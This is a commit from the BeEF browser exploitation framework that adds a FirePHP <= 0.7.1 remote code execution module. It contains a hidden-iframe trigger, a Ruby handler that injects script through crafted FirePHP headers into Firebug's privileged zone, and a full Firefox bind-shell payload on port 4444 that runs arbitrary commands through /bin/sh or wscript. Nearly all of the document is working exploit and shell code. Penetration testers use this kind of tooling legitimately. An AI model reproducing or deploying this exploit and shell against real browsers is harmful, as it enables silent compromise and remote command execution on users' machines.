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Merge pull request #1013 from bcoles/firephp

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Add FirePHP <= 0.7.1 RCE module
This commit is contained in:
Michele Orru
2014-05-05 14:39:20 +02:00
parent 4c2f80a3bc abe1370a50
commit 8e6125f8c6
4 changed files with 283 additions and 0 deletions
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26
modules/exploits/firephp/command.js Normal file
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//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
// detect firebug
if (window.console && (window.console.firebug || window.console.exception)) {
var firephp_<%= @command_id %> = beef.dom.createInvisibleIframe();
firephp_<%= @command_id %>.src = "<%= @beef_url %>/firephp";
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Module did not run. Firebug is not open in the hooked browser.");
return;
}
// clean up
cleanup = function() {
document.body.removeChild(firephp_<%= @command_id %>);
}
setTimeout("cleanup()", 10000);
});

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modules/exploits/firephp/config.yaml Normal file
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#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
###
# Exploit: http://www.justanotherhacker.com/advisories/jahx132.html
###
beef:
module:
firephp_code_exec:
enable: true
category: "Exploits"
name: "Firephp 0.7.1 RCE"
description: "Exploit FirePHP <= 0.7.1 to execute arbitrary JavaScript within the trusted 'chrome://' zone.<br/><br/>This module forces the browser to load '/firephp' on the public BeEF interface.<br/><br/>The payload is executed silently once the user moves the mouse over the array returned for 'http://[BeEF]/firephp' in Firebug.<br/><br/><b>Note:</b> Use msfpayload to generate JavaScript payloads. The default payload binds a shell on port 4444.<br/>See 'modules/exploits/firephp/payload.js'"
authors: ["Wireghoul", "bcoles"]
target:
user_notify: ["FF"]
not_working: ["All"]

70
modules/exploits/firephp/module.rb Normal file
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#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
###
# Exploit: http://www.justanotherhacker.com/advisories/jahx132.html
###
class Firephp_code_exec < BeEF::Core::Command
def pre_send
rand_str = rand(32**10).to_s(32)
# load payload.js file
# generate payload:
# msfpayload firefox/shell_bind_tcp LPORT=4444 R > payload.js
payload = ""
f = File.open("#{$root_dir}/modules/exploits/firephp/payload.js")
f.each_line do |line|
payload << line
end
f.close
# construct exploit+payload HTTP response
exploit = {
"RequestHeaders" => {
"1"=>"#{rand(10)}",
"2"=>"#{rand(10)}",
"3"=>"#{rand(10)}",
"4"=>"#{rand(10)}",
"5"=>"#{rand(10)}",
"6"=>"#{rand(10)}",
"7"=>"#{rand(10)}",
"8"=>"#{rand(10)}",
"9"=>"#{rand(10)}",
"<script>#{payload}<\/SCRIPT>" => rand_str
}
}.to_json
# mount exploit+payload at /firephp
# @todo use Router class instead of bind_raw()
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200',
{
'Content-Type' => 'text/html',
'X-Wf-Protocol-1' => 'http://meta.wildfirehq.org/Protocol/JsonStream/0.2',
'X-Wf-1-Plugin-1' => 'http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3',
'X-Wf-1-Structure-1' => 'http://meta.firephp.org/Wildfire/Structure/FirePHP/Dump/0.1',
'X-Wf-1-1-1-1' => "#{exploit.length}|#{exploit}|\r\n"
},
rand_str, # HTTP body
'/firephp', # URI mount point
-1
)
end
def self.options
configuration = BeEF::Core::Configuration.instance
proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
beef_host = configuration.get("beef.http.public") || configuration.get("beef.http.host")
beef_port = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
url = "#{proto}://#{beef_host}:#{beef_port}"
return [
{ 'name' => 'beef_url', 'description' => 'BeEF interface URL', 'ui_label' => 'BeEF URL', 'value' => url, 'width' => '200px' }
]
end
def post_execute
save({'result' => @datastore['result']})
end
end

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modules/exploits/firephp/payload.js Normal file
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(function(){
Components.utils.import("resource://gre/modules/NetUtil.jsm");
var lport = 4444;
var rhost = "";
var serverSocket = Components.classes["@mozilla.org/network/server-socket;1"]
.createInstance(Components.interfaces.nsIServerSocket);
serverSocket.init(lport, false, -1);
var listener = {
onSocketAccepted: function(serverSocket, clientSocket) {
var outStream = clientSocket.openOutputStream(0, 0, 0);
var inStream = clientSocket.openInputStream(0, 0, 0);
var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
.createInstance(Components.interfaces.nsIInputStreamPump);
pump.init(inStream, -1, -1, 0, 0, true);
pump.asyncRead(clientListener(outStream), null);
}
};
var clientListener = function(outStream) {
return {
onStartRequest: function(request, context) {},
onStopRequest: function(request, context) {},
onDataAvailable: function(request, context, stream, offset, count) {
var data = NetUtil.readInputStreamToString(stream, count).trim();
runCmd(data, function(err, output) {
if(!err) outStream.write(output, output.length);
});
}
};
};
var readFile = function(path) {
try {
var file = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(path);
var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"]
.createInstance(Components.interfaces.nsIFileInputStream);
fileStream.init(file, 1, 0, false);
var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"]
.createInstance(Components.interfaces.nsIBinaryInputStream);
binaryStream.setInputStream(fileStream);
var array = binaryStream.readByteArray(fileStream.available());
binaryStream.close();
fileStream.close();
file.remove(true);
return array.map(function(aItem) { return String.fromCharCode(aItem); }).join("");
} catch (e) { return ""; }
};
var setTimeout = function(cb, delay) {
var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer);
timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT);
return timer;
};
var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
var windows = (ua.indexOf("Windows")>-1);
var svcs = Components.utils.import("resource://gre/modules/Services.jsm");
var jscript = ({"src":"\n var b64 = WScript.arguments(0);\n var dom = new ActiveXObject(\"MSXML2.DOMDocument.3.0\");\n var el = dom.createElement(\"root\");\n el.dataType = \"bin.base64\"; el.text = b64; dom.appendChild(el);\n var stream = new ActiveXObject(\"ADODB.Stream\");\n stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);\n stream.Position=0; stream.type=2; stream.CharSet = \"us-ascii\"; stream.Position=0;\n var cmd = stream.ReadText();\n (new ActiveXObject(\"WScript.Shell\")).Run(cmd, 0, true);\n "}).src;
var runCmd = function(cmd, cb) {
cb = cb || (function(){});
if (cmd.trim().length == 0) {
setTimeout(function(){ cb("Command is empty string ('')."); });
return;
}
var js = (/^\s*\[JAVASCRIPT\]([\s\S]*)\[\/JAVASCRIPT\]/g).exec(cmd.trim());
if (js) {
var tag = "[!JAVASCRIPT]";
var sync = true; /* avoid zalgo's reach */
var sent = false;
var retVal = null;
try {
retVal = Function('send', js[1])(function(r){
if (sent) return;
sent = true;
if (r) {
if (sync) setTimeout(function(){ cb(false, r+tag+"\n"); });
else cb(false, r+tag+"\n");
}
});
} catch (e) { retVal = e.message; }
sync = false;
if (retVal && !sent) {
sent = true;
setTimeout(function(){ cb(false, retVal+tag+"\n"); });
}
return;
}
var shEsc = "\\$&";
var shPath = "/bin/sh -c";
if (windows) {
shPath = "cmd /c";
shEsc = "\^$&";
var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"]
.getService(Components.interfaces.nsIProperties)
.get("TmpD", Components.interfaces.nsIFile);
jscriptFile.append('DgPpX5C0Cqj8lWozDd.js');
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
.createInstance(Components.interfaces.nsIFileOutputStream);
stream.init(jscriptFile, 0x04 | 0x08 | 0x20, 0666, 0);
stream.write(jscript, jscript.length);
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
stream.finish();
} else {
stream.close();
}
}
var stdoutFile = "Bf6Seq5KPkR5MZLH";
var stdout = Components.classes["@mozilla.org/file/directory_service;1"]
.getService(Components.interfaces.nsIProperties)
.get("TmpD", Components.interfaces.nsIFile);
stdout.append(stdoutFile);
if (windows) {
var shell = shPath+" "+cmd;
shell = shPath+" "+shell.replace(/\W/g, shEsc)+" >"+stdout.path+" 2>&1";
var b64 = svcs.btoa(shell);
} else {
var shell = shPath+" "+cmd.replace(/\W/g, shEsc);
shell = shPath+" "+shell.replace(/\W/g, shEsc) + " >"+stdout.path+" 2>&1";
}
var process = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
var sh = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
if (windows) {
sh.initWithPath("C:\\Windows\\System32\\wscript.exe");
process.init(sh);
var args = [jscriptFile.path, b64];
process.run(true, args, args.length);
jscriptFile.remove(true);
setTimeout(function(){cb(false, cmd+"\n"+readFile(stdout.path));});
} else {
sh.initWithPath("/bin/sh");
process.init(sh);
var args = ["-c", shell];
process.run(true, args, args.length);
setTimeout(function(){cb(false, readFile(stdout.path));});
}
};
serverSocket.asyncListen(listener);
})();